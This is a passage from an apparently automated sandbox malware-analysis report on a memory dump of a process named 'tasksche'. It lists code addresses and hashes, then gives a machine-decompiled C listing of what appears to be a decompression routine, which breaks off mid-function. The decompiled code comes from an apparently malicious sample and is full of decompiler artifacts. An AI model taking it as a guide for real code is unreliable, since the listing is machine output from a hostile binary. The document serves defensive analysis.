0x00416e67
0x00416e67
0x00416e6d
0x00416e70
0x00416e82
0x00416e8c
0x00416e8f
0x00416e91
0x00416e95
0x00416e9c
0x00416ea1
0x00416ea7
0x00416eae
0x00416eb0
0x00416eb0
0x00416eb3
0x00416eb3
0x00416e72
0x00416e75
0x00416e75
0x00416ebb
0x00416ebe
0x00416ec3
0x00416ec9
0x00416ece
0x00416ed5
0x00416f02
0x00416f03
0x00416f06
0x00416f08
0x00416f22
0x00416f25
0x00416f2c
0x00416f32
0x00416f3d
0x00416f42
0x00416f49
0x00416f4f
0x00416f51
0x00416f51
0x00416f51
0x00416f53
0x00000000
0x00416f0a
0x00416f0a
0x00416f11
0x00416f11
0x00416f13
0x00416f20
0x00416f20
0x00416f20
0x00416f15
0x00416f16
0x00416f19
0x00416f1c
0x00000000
0x00416f1e
0x00000000
0x00416f1e
0x00416f1c
0x00000000
0x00416f11
0x00416ed7
0x00416ed9
0x00416edc
0x00416ee6
0x00416eee
0x00416ef3
0x00416ef6
0x00416f5b
0x00416f5b
0x00416f5e
0x00416f70
0x00416f79
0x00416f7c
0x00416f7e
0x0041707e
0x0041707e
0x00417081
0x00417087
0x0041708d
0x00417090
0x00417096
0x00417098
0x0041709b
0x004170a1
0x004170a3
0x004170a3
0x004170a3
0x004170a3
0x004170a1
0x00417096
0x004170a6
0x004170b0
0x004170b3
0x004170b9
0x004170bf
0x004170c2
0x004170c5
0x004170c8
0x004170cb
0x004170e6
0x004170e8
0x004170ed
0x004170f5
0x004170fb
0x004170fe
0x00417100
0x00417219
0x00417219
0x0041721d
0x00416ca6
0x00416cac
0x00416cb4
0x00000000
0x00416cb6
0x00416cb6
0x00416cb6
0x00000000
0x00416cb4
0x00416ca6
0x00417223
0x00417223
0x00417229
0x0041722f
0x00417239
0x00417241
0x00417247
0x0041724b
0x0041724f
0x00417252
0x00417252
0x00417256
0x00416ca6
0x00416ca6
0x00416cac
0x00416cb4
0x00000000
0x00416cb6
0x00416cb6
0x00416cb6
0x00000000
0x00416cb4
0x00000000
0x00416ca6
0x00000000
0x00416ca6
0x00417106
0x00417108
0x00000000
0x00000000
0x00417114
0x0041711e
0x00417121
0x00417126
0x00417128
0x0041712b
0x0041717c
0x0041717f
0x004171a8
0x004171a8
0x004171ab
0x004171ab
0x004171ad
0x004171b5
0x004171b8
0x004171ba
0x004171bd
0x004171c6
0x004171c9
0x004171cc
0x004171d5
0x004171d8
0x004171db
0x004171e4
0x004171e7
0x004171ea
0x004171f3
0x004171f6
0x004171f9
0x00417202
0x00417205
0x00417208
0x00417211
0x00417211
0x00417208
0x004171f9
0x004171ea
0x004171db
0x004171cc
0x004171bd
0x00000000
0x00416ca6
0x00416ca6
0x00416cac
0x00416cb4
0x00000000
0x00416cb6
0x00416cb6
0x00416cb6
0x00000000
0x00416cb4
0x0041763c
0x0041763c
0x0041763c
0x00417646
0x0041764c
0x00417652
0x0041765c
0x00417664
0x0041766a
0x0041766e
0x00417672
0x00417675
0x00417675
0x00417679
0x00416ca6
0x00416ca6
0x00416ca6
0x00000000
0x0041729c
0x0041729c
0x0041729f
0x0041729f
0x004172a7
0x004172ae
0x004172c6
0x004172c9
0x004172cc
0x004172d0
0x004172d8
0x004172de
0x004172e1
0x004172e3
0x00000000
0x00000000
0x004172e9
0x004172eb
0x00000000
0x00000000
0x004172f7
0x00417301
0x00417304
0x00417309
0x0041730b
0x0041730e
0x0041735b
0x0041735e
0x00417386
0x00417386
0x00000000
0x00417386
0x00417362
0x00417362
0x00417365
0x00417368
0x0041736e
0x00417373
0x00417377
0x0041737b
0x0041737e
0x00417381
0x00417381
0x00417381
0x00417381
0x00000000
0x00417368
0x00417310
0x00417313
0x00000000
0x00000000
0x00417315
0x00417318
0x00417318
0x0041731b
0x0041731d
0x00417321
0x00417326
0x0041732c
0x00417332
0x00417338
0x0041733e
0x00417344
0x0041734a
0x0041734d
0x00417350
0x00417353
0x00417353
0x00417353
0x00417356
0x00000000
0x00417356
0x004172b0
0x004172b9
0x004172ba
0x004172bd
0x00000000
0x0041726f
0x00417275
0x0041727a
0x0041727a
0x00000000
0x0041738e
0x0041738e
0x0041738e
0x00417398
0x0041739e
0x004173a4
0x004173ae
0x004173b6
0x004173bc
0x004173c0
0x004173c4
0x004173c7
0x004173c7
0x00416cac
0x00416cb4
0x00000000
0x00416cb6
0x00416cb6
0x00416cb6
0x00416cb4
0x00417184
0x00417184
0x00417187
0x0041718a
0x00417190
0x00417195
0x00417199
0x0041719d
0x004171a0
0x004171a3
0x004171a3
0x004171a3
0x004171a3
0x00000000
0x0041718a
0x0041712d
0x00417130
0x00000000
0x00000000
0x00417134
0x00417134
0x00417137
0x00417139
0x0041713c
0x0041713e
0x00417142
0x00417147
0x0041714d
0x00417153
0x00417159
0x0041715f
0x00417165
0x0041716b
0x0041716e
0x00417171
0x00417174
0x00417174
0x00417174
0x00417177
0x00000000
0x004170cd
0x004170cd
0x004170d3
0x004170d4
0x004170d5
0x004170d6
0x004170dc
0x00416ca6
0x00416cac
0x00416cb4
0x00000000
0x00416cb6
0x00416cb6
0x00416cb6
0x00000000
0x00416cb4
0x00416ca6
0x004170cb
0x00416f84
0x00416f87
0x0041705d
0x00417064
0x00417069
0x0041706f
0x00417076
0x00417078
0x00417078
0x0041707b
0x00000000
0x0041707b
0x00416f8d
0x00416f91
0x00416f98
0x00416fa0
0x00416fa6
0x00416faf
0x00416fb1
0x00416fb1
0x00416fb4
0x00416fb4
0x00416fb9
0x00416fbe
0x00416fc4
0x00416fc9
0x00416fd0
0x00416ffd
0x00416ffe
0x00417001
0x00417003
0x0041701d
0x00417020
0x00417027
0x0041702d
0x00417038
0x0041703d
0x00417044
0x0041704a
0x0041704c
0x0041704c
0x0041704c
0x0041704e
0x00000000
0x0041704e
0x00417005
0x0041700c
0x0041700c
0x0041700e
0x00000000
0x00000000
0x00417010
0x00417011
0x00417014
0x00417017
0x00000000
0x00000000
0x00000000
0x00417019
0x0041701b
0x00000000
0x00416fd2
0x00416fd4
0x00416fd7
0x00416fe1
0x00416fe9
0x00416fee
0x00416ff1
0x00417056
0x00417056
0x00000000
0x00417056
0x00416fd0
0x00416f61
0x00000000
0x00416f61
0x00416ed5
0x00416e22
0x00416e22
0x00416e29
0x00416e50
0x00416e53
0x00416e2b
0x00416e31
0x00416e40
0x00416e40
0x00416ca6
0x00416cac
0x00416cb4
0x00000000
0x00416cb6
0x00416cb6
0x00416cb6
0x00000000
0x00416cb4
0x00416ca6
0x00416e20
0x00416d93
0x00416d3c
0x00416d3e
0x00000000
0x00000000
0x00416d42
0x00416d47
0x00416d4d
0x00416d53
0x00000000
0x00000000
0x00416d59
0x00416d6d
0x00416d6d
0x00416d74
0x0041767e
0x00000000
0x0041767e
0x00000000
0x00416d74
0x00416d5b
0x00416d61
0x00416d67
0x00000000
0x00000000
0x00000000
0x00416d67
0x00416ca6
0x00416c5d
0x00416c64
0x00416c6b
0x00000000
0x00000000
0x00416c71
0x00416c77
0x00416c78
0x00416c7b
0x00416c7e
0x00416c85
0x00000000
0x00000000
0x00416c96
0x00416c9d
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: 345b0d20b664bc5a7c067b8b85495d146ce8f508c18b5b2458494fa8c5d0ce26
Instruction ID: ec473c390e775c3513d1f4c5f902ffdbdf11d251c2712a84011b28fca20aaef5
Opcode Fuzzy Hash: 345b0d20b664bc5a7c067b8b85495d146ce8f508c18b5b2458494fa8c5d0ce26
Instruction Fuzzy Hash: 5F72E770A087459FCB29CF24C5D0AE9BBF1EF55304F1584AED99A8B342D338E985CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00415D9A Relevance: .8, Instructions: 795
COMMONCrypto

Download Yara Rule

C-Code - Quality: 99%

			E00415D9A(void* __ecx, signed int _a4) {
				void* _v8;
				char* _v12;
				signed int _v16;
				unsigned int _v20;
				signed int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				char _v52;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t458;
				intOrPtr _t460;
				intOrPtr _t461;
				signed int _t462;
				signed int _t463;
				unsigned int _t464;
				signed int _t467;
				signed int _t468;
				signed int _t469;
				signed int _t471;
				unsigned int _t472;
				signed int _t475;
				signed int _t476;
				signed int _t481;
				intOrPtr _t498;
				unsigned int _t501;
				unsigned int _t504;
				intOrPtr* _t505;
				unsigned int _t506;
				signed int _t509;
				signed int _t510;
				signed int _t511;
				signed int _t512;
				signed int _t514;
				unsigned int _t519;
				unsigned int _t520;
				unsigned int _t522;
				intOrPtr* _t523;
				signed int _t525;
				char _t526;
				signed int _t528;
				signed int _t529;
				signed int _t536;
				unsigned int _t537;
				signed int _t540;
				signed int _t541;
				signed int _t549;
				signed int _t550;
				unsigned int _t569;
				unsigned int _t572;
				intOrPtr* _t573;
				unsigned int _t576;
				signed int _t579;
				signed int _t580;
				signed int _t581;
				unsigned int _t582;
				signed int _t585;
				signed int _t586;
				signed int _t587;
				unsigned int _t588;
				signed int _t589;
				signed int _t590;
				signed int _t591;
				signed int _t593;
				unsigned int _t594;
				signed int _t597;
				signed int _t598;
				signed int _t600;
				void* _t607;
				signed int _t608;
				intOrPtr _t613;
				signed int _t614;
				signed int _t617;
				void* _t619;
				intOrPtr* _t622;
				signed int _t625;
				void* _t627;
				signed char _t631;
				void* _t633;
				signed int _t634;
				intOrPtr _t636;
				char* _t639;
				char* _t640;
				void* _t642;
				intOrPtr* _t646;
				void* _t647;
				signed int _t650;
				signed int _t652;
				char* _t658;
				signed char _t663;
				signed int _t666;
				void* _t668;
				signed char _t672;
				signed int _t674;
				unsigned int _t679;
				char* _t680;
				void* _t682;
				signed int _t688;
				void* _t690;
				intOrPtr* _t692;
				void* _t693;
				signed int _t696;
				void* _t699;
				intOrPtr* _t704;
				void* _t705;
				signed int _t708;
				void* _t711;
				intOrPtr* _t716;
				void* _t717;
				signed int _t720;
				signed int _t726;
				signed int _t727;
				signed int _t732;
				signed int _t733;
				signed int _t738;
				signed int _t744;
				void* _t758;
				signed int _t759;
				intOrPtr _t761;
				char* _t762;
				signed int _t771;
				signed int _t772;
				unsigned int _t776;
				void* _t778;
				signed int _t779;
				intOrPtr _t781;
				char* _t782;
				signed int _t791;
				signed int _t792;
				void* _t806;
				intOrPtr* _t808;
				void* _t810;

				_t608 = _a4;
				_t806 = __ecx;
				if( *((char*)(_t608 + 0x2c)) != 0) {
					L3:
					_t458 =  *((intOrPtr*)(_t608 + 0x18));
					_t808 = _t608 + 4;
					__eflags =  *_t808 -  *((intOrPtr*)(_t608 + 0x24)) + _t458;
					if( *_t808 <=  *((intOrPtr*)(_t608 + 0x24)) + _t458) {
						_t613 =  *((intOrPtr*)(_t608 + 0x20)) + _t458 - 1;
						_t460 =  *((intOrPtr*)(_t608 + 0x4acc)) - 0x10;
						__eflags = _t613 - _t460;
						_v32 = _t613;
						_v36 = _t460;
						_v28 = _t613;
						if(_t613 >= _t460) {
							_v28 = _t460;
						}
						while(1) {
							L8:
							_t614 =  *(_t806 + 0xe6dc);
							 *(_t806 + 0x70) =  *(_t806 + 0x70) & _t614;
							_t461 =  *_t808;
							__eflags = _t461 - _v28;
							if(_t461 < _v28) {
								goto L15;
							}
							L9:
							__eflags = _t461 - _v32;
							if(__eflags > 0) {
								L98:
								_t526 = 1;
								goto L99;
							}
							if(__eflags != 0) {
								L12:
								__eflags = _t461 - _v36;
								if(_t461 < _v36) {
									L14:
									__eflags = _t461 -  *((intOrPtr*)(_t608 + 0x4acc));
									if(_t461 >=  *((intOrPtr*)(_t608 + 0x4acc))) {
										L157:
										 *((char*)(_t608 + 0x4ad3)) = 1;
										goto L98;
									}
									goto L15;
								}
								__eflags =  *((char*)(_t608 + 0x4ad2));
								if( *((char*)(_t608 + 0x4ad2)) == 0) {
									goto L157;
								}
								goto L14;
							}
							__eflags =  *((intOrPtr*)(_t608 + 8)) -  *((intOrPtr*)(_t608 + 0x1c));
							if( *((intOrPtr*)(_t608 + 8)) >=  *((intOrPtr*)(_t608 + 0x1c))) {
								goto L98;
							}
							goto L12;
							L15:
							_t462 =  *(_t806 + 0x70);
							__eflags = ( *((intOrPtr*)(_t806 + 0x4b30)) - _t462 & _t614) - 0x1004;
							if(( *((intOrPtr*)(_t806 + 0x4b30)) - _t462 & _t614) >= 0x1004) {
								L20:
								_t463 = E0040978C(_t808);
								_t726 =  *(_t608 + 0xb4);
								_t464 = _t463 & 0x0000fffe;
								__eflags = _t464 -  *((intOrPtr*)(_t608 + 0x34 + _t726 * 4));
								if(_t464 >=  *((intOrPtr*)(_t608 + 0x34 + _t726 * 4))) {
									_t727 = _t726 + 1;
									_a4 = 0xf;
									__eflags = _t727 - 0xf;
									if(_t727 >= 0xf) {
										L28:
										_t617 =  *(_t808 + 4) + _a4;
										 *_t808 =  *_t808 + (_t617 >> 3);
										_t730 = _a4;
										 *(_t808 + 4) = _t617 & 0x00000007;
										_t619 = 0x10;
										_t467 = (_t464 -  *((intOrPtr*)(_t608 + 0x30 + _a4 * 4)) >> _t619 - _a4) +  *((intOrPtr*)(_t608 + 0x74 + _t730 * 4));
										__eflags = _t467 -  *((intOrPtr*)(_t608 + 0x30));
										if(_t467 >=  *((intOrPtr*)(_t608 + 0x30))) {
											_t467 = 0;
											__eflags = 0;
										}
										_t468 =  *(_t608 + 0xcb8 + _t467 * 2) & 0x0000ffff;
										L31:
										__eflags = _t468 - 0x100;
										if(_t468 >= 0x100) {
											__eflags = _t468 - 0x106;
											if(_t468 < 0x106) {
												__eflags = _t468 - 0x100;
												if(_t468 != 0x100) {
													__eflags = _t468 - 0x101;
													if(_t468 != 0x101) {
														_t469 = _t468 + 0xfffffefe;
														__eflags = _t469;
														_t622 = _t806 + 0x54 + _t469 * 4;
														_v24 =  *_t622;
														if(_t469 == 0) {
															L127:
															 *((intOrPtr*)(_t806 + 0x54)) = _v24;
															_t471 = E0040978C(_t808);
															_t732 =  *(_t608 + 0x2d78);
															_t472 = _t471 & 0x0000fffe;
															__eflags = _t472 -  *((intOrPtr*)(_t608 + 0x2cf8 + _t732 * 4));
															if(_t472 >=  *((intOrPtr*)(_t608 + 0x2cf8 + _t732 * 4))) {
																_t733 = _t732 + 1;
																_a4 = 0xf;
																__eflags = _t733 - 0xf;
																if(_t733 >= 0xf) {
																	L135:
																	_t625 =  *(_t808 + 4) + _a4;
																	 *_t808 =  *_t808 + (_t625 >> 3);
																	_t736 = _a4;
																	 *(_t808 + 4) = _t625 & 0x00000007;
																	_t627 = 0x10;
																	_t475 = (_t472 -  *((intOrPtr*)(_t608 + 0x2cf4 + _a4 * 4)) >> _t627 - _a4) +  *((intOrPtr*)(_t608 + 0x2d38 + _t736 * 4));
																	__eflags = _t475 -  *((intOrPtr*)(_t608 + 0x2cf4));
																	if(_t475 >=  *((intOrPtr*)(_t608 + 0x2cf4))) {
																		_t475 = 0;
																		__eflags = 0;
																	}
																	_t476 =  *(_t608 + 0x397c + _t475 * 2) & 0x0000ffff;
																	L138:
																	__eflags = _t476 - 8;
																	if(_t476 >= 8) {
																		_t631 = (_t476 >> 2) - 1;
																		_a4 = _t631;
																		_t481 = ((_t476 & 0x00000003 | 0x00000004) << _t631) + 2;
																		_v20 = _t481;
																		__eflags = _t631;
																		if(_t631 > 0) {
																			_t506 = E0040978C(_t808);
																			_t642 = 0x10;
																			_v20 = _v20 + (_t506 >> _t642 - _a4);
																			_t509 =  *(_t808 + 4) + _a4;
																			 *_t808 =  *_t808 + (_t509 >> 3);
																			_t510 = _t509 & 0x00000007;
																			__eflags = _t510;
																			 *(_t808 + 4) = _t510;
																			_t481 = _v20;
																		}
																	} else {
																		_t481 = _t476 + 2;
																		_v20 = _t481;
																	}
																	_t738 =  *(_t806 + 0x70) - _v24;
																	_t633 =  *((intOrPtr*)(_t806 + 0xe6d8)) + 0xffffefff;
																	 *(_t806 + 0x68) = _t481;
																	_a4 = _t481;
																	_v16 = _t738;
																	__eflags = _t738 - _t633;
																	if(_t738 >= _t633) {
																		L153:
																		__eflags = _t481;
																	} else {
																		__eflags =  *(_t806 + 0x70) - _t633;
																		if( *(_t806 + 0x70) >= _t633) {
																			goto L153;
																		}
																		_t636 =  *((intOrPtr*)(_t806 + 0x4b34));
																		_v12 = _t738 + _t636;
																		_t744 =  *(_t806 + 0x70);
																		_v8 = _t636 + _t744;
																		 *(_t806 + 0x70) = _t481 + _t744;
																		__eflags = _v24 - _t481;
																		if(_v24 >= _t481) {
																			__eflags = _t481 - 8;
																			if(_t481 < 8) {
																				L113:
																				__eflags = _a4;
																				if(_a4 <= 0) {
																					continue;
																					do {
																						do {
																							do {
																								do {
																									do {
																										do {
																											do {
																												do {
																													do {
																														do {
																															do {
																																do {
																																	do {
																																		do {
																																			while(1) {
																																				L8:
																																				_t614 =  *(_t806 + 0xe6dc);
																																				 *(_t806 + 0x70) =  *(_t806 + 0x70) & _t614;
																																				_t461 =  *_t808;
																																				__eflags = _t461 - _v28;
																																				if(_t461 < _v28) {
																																					goto L15;
																																				}
																																				goto L9;
																																			}
																																			L82:
																																			__eflags = _a4;
																																		} while (_a4 <= 0);
																																		goto L83;
																																	} while (_a4 <= 0);
																																	goto L114;
																																	L83:
																																	__eflags = _a4 - 1;
																																	_t639 = _v12;
																																	 *_t639 =  *_v8;
																																} while (_a4 <= 1);
																																goto L84;
																															} while (_a4 <= 1);
																															goto L115;
																															L84:
																															__eflags = _a4 - 2;
																															_t227 = _v8 + 1; // 0x300905a
																															 *((char*)(_t639 + 1)) =  *_t227;
																														} while (_a4 <= 2);
																														goto L85;
																														L115:
																														__eflags = _a4 - 2;
																														 *((char*)(_t639 + 1)) =  *((intOrPtr*)(_v12 + 1));
																													} while (_a4 <= 2);
																													goto L116;
																													L85:
																													__eflags = _a4 - 3;
																													_t231 = _v8 + 2; // 0x30090
																													 *((char*)(_t639 + 2)) =  *_t231;
																												} while (_a4 <= 3);
																												goto L86;
																												L116:
																												__eflags = _a4 - 3;
																												 *((char*)(_t639 + 2)) =  *((intOrPtr*)(_v12 + 2));
																											} while (_a4 <= 3);
																											goto L117;
																											L86:
																											__eflags = _a4 - 4;
																											_t235 = _v8 + 3; // 0x300
																											 *((char*)(_t639 + 3)) =  *_t235;
																										} while (_a4 <= 4);
																										goto L87;
																										L117:
																										__eflags = _a4 - 4;
																										 *((char*)(_t639 + 3)) =  *((intOrPtr*)(_v12 + 3));
																									} while (_a4 <= 4);
																									goto L118;
																									L87:
																									__eflags = _a4 - 5;
																									_t239 = _v8 + 4; // 0x3
																									 *((char*)(_t639 + 4)) =  *_t239;
																								} while (_a4 <= 5);
																								goto L88;
																								L118:
																								__eflags = _a4 - 5;
																								 *((char*)(_t639 + 4)) =  *((intOrPtr*)(_v12 + 4));
																							} while (_a4 <= 5);
																							goto L119;
																							L88:
																							__eflags = _a4 - 6;
																							_t243 = _v8 + 5; // 0x4000000
																							 *((char*)(_t639 + 5)) =  *_t243;
																						} while (_a4 <= 6);
																						_t498 = _v8;
																						L90:
																						_t246 = _t498 + 6; // 0x40000
																						 *((char*)(_t639 + 6)) =  *_t246;
																						goto L8;
																						do {
																							while(1) {
																								L8:
																								_t614 =  *(_t806 + 0xe6dc);
																								 *(_t806 + 0x70) =  *(_t806 + 0x70) & _t614;
																								_t461 =  *_t808;
																								__eflags = _t461 - _v28;
																								if(_t461 < _v28) {
																									goto L15;
																								}
																								goto L9;
																							}
																							L91:
																							__eflags = _v16;
																						} while (_v16 <= 0);
																						_t779 =  *(_t806 + 0xe6dc);
																						do {
																							_a4 = _a4 - 1;
																							 *( *((intOrPtr*)(_t806 + 0x4b34)) +  *(_t806 + 0x70)) =  *((intOrPtr*)((_t674 & _t779) +  *((intOrPtr*)(_t806 + 0x4b34))));
																							_t779 =  *(_t806 + 0xe6dc);
																							_t674 = _v24 + 1;
																							__eflags = _a4;
																							_v24 = _t674;
																							 *(_t806 + 0x70) =  *(_t806 + 0x70) + 0x00000001 & _t779;
																						} while (_a4 > 0);
																						goto L8;
																						do {
																							while(1) {
																								L8:
																								_t614 =  *(_t806 + 0xe6dc);
																								 *(_t806 + 0x70) =  *(_t806 + 0x70) & _t614;
																								_t461 =  *_t808;
																								__eflags = _t461 - _v28;
																								if(_t461 < _v28) {
																									goto L15;
																								}
																								goto L9;
																							}
																							goto L153;
																						} while (_t481 <= 0);
																						_t634 =  *(_t806 + 0xe6dc);
																						do {
																							_a4 = _a4 - 1;
																							_v16 = _v16 + 1;
																							 *( *((intOrPtr*)(_t806 + 0x4b34)) +  *(_t806 + 0x70)) =  *((intOrPtr*)((_v16 & _t634) +  *((intOrPtr*)(_t806 + 0x4b34))));
																							_t634 =  *(_t806 + 0xe6dc);
																							__eflags = _a4;
																							 *(_t806 + 0x70) =  *(_t806 + 0x70) + 0x00000001 & _t634;
																						} while (_a4 > 0);
																						goto L8;
																						do {
																							do {
																								do {
																									while(1) {
																										L8:
																										_t614 =  *(_t806 + 0xe6dc);
																										 *(_t806 + 0x70) =  *(_t806 + 0x70) & _t614;
																										_t461 =  *_t808;
																										__eflags = _t461 - _v28;
																										if(_t461 < _v28) {
																											goto L15;
																										}
																										goto L9;
																									}
																									goto L102;
																								} while (_t512 == 0);
																								_t652 =  *(_t806 + 0x70);
																								_a4 = _t512;
																								_t514 = _t652 -  *((intOrPtr*)(_t806 + 0x54));
																								_t758 =  *((intOrPtr*)(_t806 + 0xe6d8)) + 0xffffefff;
																								_v24 = _t514;
																								__eflags = _t514 - _t758;
																								if(_t514 >= _t758) {
																									goto L121;
																								}
																								__eflags = _t652 - _t758;
																								if(_t652 >= _t758) {
																									goto L121;
																								}
																								_t761 =  *((intOrPtr*)(_t806 + 0x4b34));
																								_v12 = _t514 + _t761;
																								_t519 = _a4;
																								_t762 = _t761 + _t652;
																								_v8 = _t762;
																								 *(_t806 + 0x70) = _t652 + _t519;
																								__eflags =  *((intOrPtr*)(_t806 + 0x54)) - _t519;
																								if( *((intOrPtr*)(_t806 + 0x54)) >= _t519) {
																									__eflags = _t519 - 8;
																									if(_t519 < 8) {
																										goto L113;
																									}
																									_t520 = _t519 >> 3;
																									__eflags = _t520;
																									_v24 = _t520;
																									do {
																										E0041C290(_t608, _t806, _t808, _v8, _v12, 8);
																										_v12 = _v12 + 8;
																										_v8 = _v8 + 8;
																										_a4 = _a4 - 8;
																										_t810 = _t810 + 0xc;
																										_t307 =  &_v24;
																										 *_t307 = _v24 - 1;
																										__eflags =  *_t307;
																									} while ( *_t307 != 0);
																									goto L113;
																								}
																								__eflags = _t519 - 8;
																								if(_t519 < 8) {
																									goto L113;
																								}
																								_t522 = _t519 >> 3;
																								__eflags = _t522;
																								_v24 = _t522;
																								_t523 = _v12;
																								_t658 = _t762;
																								do {
																									_a4 = _a4 - 8;
																									 *_t658 =  *_t523;
																									 *((char*)(_t658 + 1)) =  *((intOrPtr*)(_t523 + 1));
																									 *((char*)(_t658 + 2)) =  *((intOrPtr*)(_t523 + 2));
																									 *((char*)(_t658 + 3)) =  *((intOrPtr*)(_t523 + 3));
																									 *((char*)(_t658 + 4)) =  *((intOrPtr*)(_t523 + 4));
																									 *((char*)(_t658 + 5)) =  *((intOrPtr*)(_t523 + 5));
																									 *((char*)(_t658 + 6)) =  *((intOrPtr*)(_t523 + 6));
																									 *((char*)(_t658 + 7)) =  *((intOrPtr*)(_t523 + 7));
																									_t523 = _t523 + 8;
																									_t658 = _t658 + 8;
																									_t294 =  &_v24;
																									 *_t294 = _v24 - 1;
																									__eflags =  *_t294;
																								} while ( *_t294 != 0);
																								L109:
																								_v8 = _t640;
																								_v12 = _t505;
																								goto L113;
																								L97:
																								_t528 = E00415771(_t806,  &_v52);
																								__eflags = _t528;
																							} while (_t528 != 0);
																							goto L98;
																							L121:
																							__eflags = _a4;
																						} while (_a4 <= 0);
																						_t759 =  *(_t806 + 0xe6dc);
																						do {
																							_a4 = _a4 - 1;
																							 *( *((intOrPtr*)(_t806 + 0x4b34)) +  *(_t806 + 0x70)) =  *((intOrPtr*)((_t514 & _t759) +  *((intOrPtr*)(_t806 + 0x4b34))));
																							_t759 =  *(_t806 + 0xe6dc);
																							_t514 = _v24 + 1;
																							__eflags = _a4;
																							_v24 = _t514;
																							 *(_t806 + 0x70) =  *(_t806 + 0x70) + 0x00000001 & _t759;
																						} while (_a4 > 0);
																						goto L8;
																						L119:
																						__eflags = _a4 - 6;
																						 *((char*)(_t639 + 5)) =  *((intOrPtr*)(_v12 + 5));
																					} while (_a4 <= 6);
																					_t498 = _v12;
																					goto L90;
																				}
																				L114:
																				__eflags = _a4 - 1;
																				_t639 = _v8;
																				 *_t639 =  *_v12;
																			}
																			_t501 = _v20 >> 3;
																			__eflags = _t501;
																			_v24 = _t501;
																			do {
																				E0041C290(_t608, _t806, _t808, _v8, _v12, 8);
																				_v12 = _v12 + 8;
																				_v8 = _v8 + 8;
																				_a4 = _a4 - 8;
																				_t810 = _t810 + 0xc;
																				_t441 =  &_v24;
																				 *_t441 = _v24 - 1;
																				__eflags =  *_t441;
																			} while ( *_t441 != 0);
																			goto L113;
																		}
																		__eflags = _t481 - 8;
																		if(_t481 < 8) {
																			goto L113;
																		}
																		_t640 = _v8;
																		_t504 = _v20 >> 3;
																		__eflags = _t504;
																		_v24 = _t504;
																		_t505 = _v12;
																		do {
																			_a4 = _a4 - 8;
																			 *_t640 =  *_t505;
																			 *((char*)(_t640 + 1)) =  *((intOrPtr*)(_t505 + 1));
																			 *((char*)(_t640 + 2)) =  *((intOrPtr*)(_t505 + 2));
																			 *((char*)(_t640 + 3)) =  *((intOrPtr*)(_t505 + 3));
																			 *((char*)(_t640 + 4)) =  *((intOrPtr*)(_t505 + 4));
																			 *((char*)(_t640 + 5)) =  *((intOrPtr*)(_t505 + 5));
																			 *((char*)(_t640 + 6)) =  *((intOrPtr*)(_t505 + 6));
																			 *((char*)(_t640 + 7)) =  *((intOrPtr*)(_t505 + 7));
																			_t505 = _t505 + 8;
																			_t640 = _t640 + 8;
																			_t429 =  &_v24;
																			 *_t429 = _v24 - 1;
																			__eflags =  *_t429;
																		} while ( *_t429 != 0);
																		goto L109;
																	}
																}
																_t646 = _t608 + 0x2cf8 + _t733 * 4;
																while(1) {
																	__eflags = _t472 -  *_t646;
																	if(_t472 <  *_t646) {
																		break;
																	}
																	_t733 = _t733 + 1;
																	_t646 = _t646 + 4;
																	__eflags = _t733 - 0xf;
																	if(_t733 < 0xf) {
																		continue;
																	}
																	goto L135;
																}
																_a4 = _t733;
																goto L135;
															}
															_t647 = 0x10;
															_t511 = _t472 >> _t647 - _t732;
															_t650 = ( *(_t511 + _t608 + 0x2d7c) & 0x000000ff) +  *(_t808 + 4);
															 *_t808 =  *_t808 + (_t650 >> 3);
															 *(_t808 + 4) = _t650 & 0x00000007;
															_t476 =  *(_t608 + 0x317c + _t511 * 2) & 0x0000ffff;
															goto L138;
														} else {
															goto L126;
														}
														do {
															L126:
															 *_t622 =  *((intOrPtr*)(_t622 - 4));
															_t469 = _t469 - 1;
															_t622 = _t622 - 4;
															__eflags = _t469;
														} while (_t469 > 0);
														goto L127;
													}
													L102:
													_t512 =  *(_t806 + 0x68);
													__eflags = _t512;
												}
												_push( &_v52);
												_t525 = E00414290(_t806, _t808);
												__eflags = _t525;
												if(_t525 == 0) {
													goto L98;
												}
												goto L97;
											}
											_t529 = _t468 + 0xfffffefa;
											__eflags = _t529 - 8;
											if(_t529 >= 8) {
												_t663 = (_t529 >> 2) - 1;
												_a4 = _t663;
												_v12 = ((_t529 & 0x00000003 | 0x00000004) << _t663) + 2;
												__eflags = _t663;
												if(_t663 > 0) {
													_t594 = E0040978C(_t808);
													_t711 = 0x10;
													_v12 = _v12 + (_t594 >> _t711 - _a4);
													_t597 =  *(_t808 + 4) + _a4;
													 *_t808 =  *_t808 + (_t597 >> 3);
													_t598 = _t597 & 0x00000007;
													__eflags = _t598;
													 *(_t808 + 4) = _t598;
												}
											} else {
												_v12 = _t529 + 2;
											}
											_v16 = _v12;
											_t536 = E0040978C(_t808);
											_t771 =  *(_t608 + 0xfa0);
											_t537 = _t536 & 0x0000fffe;
											__eflags = _t537 -  *((intOrPtr*)(_t608 + 0xf20 + _t771 * 4));
											if(_t537 >=  *((intOrPtr*)(_t608 + 0xf20 + _t771 * 4))) {
												_t772 = _t771 + 1;
												_a4 = 0xf;
												__eflags = _t772 - 0xf;
												if(_t772 >= 0xf) {
													L46:
													_t666 =  *(_t808 + 4) + _a4;
													 *_t808 =  *_t808 + (_t666 >> 3);
													_t775 = _a4;
													 *(_t808 + 4) = _t666 & 0x00000007;
													_t668 = 0x10;
													_t540 = (_t537 -  *((intOrPtr*)(_t608 + 0xf1c + _a4 * 4)) >> _t668 - _a4) +  *((intOrPtr*)(_t608 + 0xf60 + _t775 * 4));
													__eflags = _t540 -  *((intOrPtr*)(_t608 + 0xf1c));
